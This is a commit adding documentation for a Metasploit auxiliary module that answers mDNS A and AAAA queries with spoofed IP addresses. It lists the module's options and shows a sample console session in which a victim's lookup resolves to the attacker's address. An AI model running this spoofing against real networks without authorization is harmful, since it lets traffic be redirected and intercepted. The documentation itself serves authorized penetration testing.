Add module docs for mdns_response

documentation/modules/auxiliary/spoof/mdns/mdns_response.md

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+This module will listen for mDNS multicast requests on 5353/udp for A and AAAA record queries, and respond with a spoofed IP address (assuming the request matches our regex).
+
+## Vulnerable Application
+
+To use mdns_response, be on a network with devices/applications that can make mDNS multicast requests on 5353/udp for A and AAAA record queries.
+
+## Verification Steps
+
+  1. `use auxiliary/spoof/mdns/mdns_response`
+  2. `set INTERFACE network_iface`
+  3. `set SPOOFIP4 10.x.x.x`
+  4. `run`
+
+## Options
+  
+**The SPOOFIP4 option**
+
+IPv4 address with which to spoof A-record queries
+	
+```
+set SPOOFIP4 [IPv4 address]
+```
+
+**The SPOOFIP6 option**
+
+IPv6 address with which to spoof AAAA-record queries
+	
+```
+set SPOOFIP6 [IPv6 address]
+```
+
+**The REGEX option**
+
+Regex applied to the mDNS to determine if spoofed reply is sent
+	
+```
+set REGEX [regex]
+```
+
+**The TTL option**
+
+Time To Live for the spoofed response (in seconds)
+	
+```
+set TTL [number of seconds]
+```
+
+## Scenarios
+
+```
+msf > use auxiliary/spoof/mdns/mdns_response
+msf auxiliary(mdns_response) > set SPOOFIP4 10.x.x.y
+SPOOFIP4 => 10.x.x.y
+msf auxiliary(mdns_response) > set INTERFACE en3
+INTERFACE => en3
+msf auxiliary(mdns_response) > run
+[*] Auxiliary module execution completed
+msf auxiliary(mdns_response) >
+[*] mDNS spoofer started. Listening for mDNS requests with REGEX "(?-mix:.*)" ...
+```
+
+On Victim Machine
+```
+ping something.local
+```
+(IP address should resolve to spoofed address)
+
+
+```
+[+] 10.x.x.z        mDNS - something.local. matches regex, responding with 10.x.x.y
+```